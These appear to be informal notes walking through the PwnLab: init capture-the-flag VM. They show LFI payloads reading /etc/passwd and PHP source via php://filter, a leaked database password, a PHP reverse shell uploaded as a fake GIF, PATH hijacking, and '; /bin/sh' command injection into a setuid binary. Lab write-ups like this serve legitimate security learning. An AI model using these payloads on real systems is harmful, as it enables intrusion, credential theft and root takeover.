16: VM - Pwnlab :

walkthru
1. https://alexsemaan.xyz/2017/02/20/vulnhub-pwnlabinit-walkthrough/
2. https://www.abatchy.com/2016/11/pwnlab-init-walkthrough-vulnhub.html
3. https://www.vulnhub.com/entry/pwnlab-init,158/

======

• The page= variable in the URL, gave me the idea that the site may be vulnerable to some sort of injection. This lead me to Local File Inclusion (LFI).
• None of these worked:

http://192.168.1.65/?page=/etc/passwd

http://192.168.1.65/?page=/etc/passwd

http://192.168.1.65/?page=../../../../../../../etc/passwd

http://192.168.1.65/?page=../../../../../../../etc/passwd

• Yet, the following worked!

http://192.168.1.65/?page=php://filter/convert.base64-encode/resource=config

http://192.168.1.65/?page=php://filter/convert.base64-encode/resource=index

http://192.168.1.65/?page=php://filter/convert.base64-encode/resource=upload

• Access the above pages to get base64 codes, decoded them to see the html adn understand the page logic and what is allowed or prohibited so we can circumvent instead of guessing. refe to abatchy.com link above
• Using PHP filters to encode the .php file content to base64 string allows us to bypass it being executed by the server.

config file info

<?php  

$server      = "localhost";  

$username = "root";  

$password = "H4u%QJ_H99";  

$database = "Users";  

?> 

Indes file info

• Since I got the user/pwd for mysql from config file, let me login with it. 
• Try show tables & select * from users;
• After looking around trying to find what type of hash was being used I realized that the passwords weren’t hashed at all, just base64 encoded again (note the == at the end of each password)

• Create fake PNG file containing PHP code. GIF89 is to bypass the type check, more info here..

• We will try to upload a PHP reverse shell as GIF file (php-reverse-shell-new.gif)
• 
• As soon as the file is uploaded, check the soruce of the page to get the md5hash name
• 
  
  
• start nc on kali of specif port that you added in the reversh shell
• go back and do that one more time but before uploading the file, intercept the request using burp or temper data to modify cookies to " lang=../upload/a0f5d0df46973b02394476e49a87faa5.gif". when you hit OK or fwd in burp suite, it will get you a reverse session. One time, I go the reverse session but didnt see shell ($ prompt) and wasnt getting any response from any pwd or whoami command
• 
  
  
• 
  
  

  use python -c 'import pty; pty.spawn("/bin/sh")' to spawn off terminal shell

• if reverse shell worked as expected, you would have a shell by know with www access.

• You can now su to kent and login and look around.

• You will see a file under /kent which I havent been able to open or run at this time.

• looked thru the walkthru for priv ecalatation

Now we need to exploit the path. This link will help you for linux-privilege escalation and Abusing users with ‘.’ in their PATH:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation

http://www.dankalia.com/tutor/01005/0100501004.htm (info abt having . in the path and countermeasure)

but looking at the permissions of the file you’ll notice an s variable. What’s that you ask? We’ll after a little research, it turns out to be the directories setgid (set group id) bit is set and executable. But was unable to execute. But we now know that it needs cat to execute its contents. So cd into the tmp directory and echo “/bin/sh” > cat and chmod 777 cat to give it the right permissions. Turns out I needed to set the PATH correctly. So export PATH=.:$PATH fixed that.  Then execute msgmike again and bam we become user mike. 

cd to /home/mike and ls the directory we get msg2root. Hmm whats that? Again cating the file will only give you a screen full of garbage so using strings I was able to find out that it asks for some text, echo’s it back to the console and appends it to messages.txt. (strings prints out only the printable strings from a file). Looking at the file permissions, it belongs to root as well.

Since the file does not validate the input, using ;/bin/sh returns a shell and since the file executes as root, the shell is also root.

By changing the order of the PATH execution, listed at http://iotpentest.com/pwnlab-walk-through/, I was able to get root, but following specific steps..

append a shell to escalate my privilege to root---> ; /bin/sh (with semicolon. didn't work if semicolon is not added. I append a shell to escalate my privilege to root.)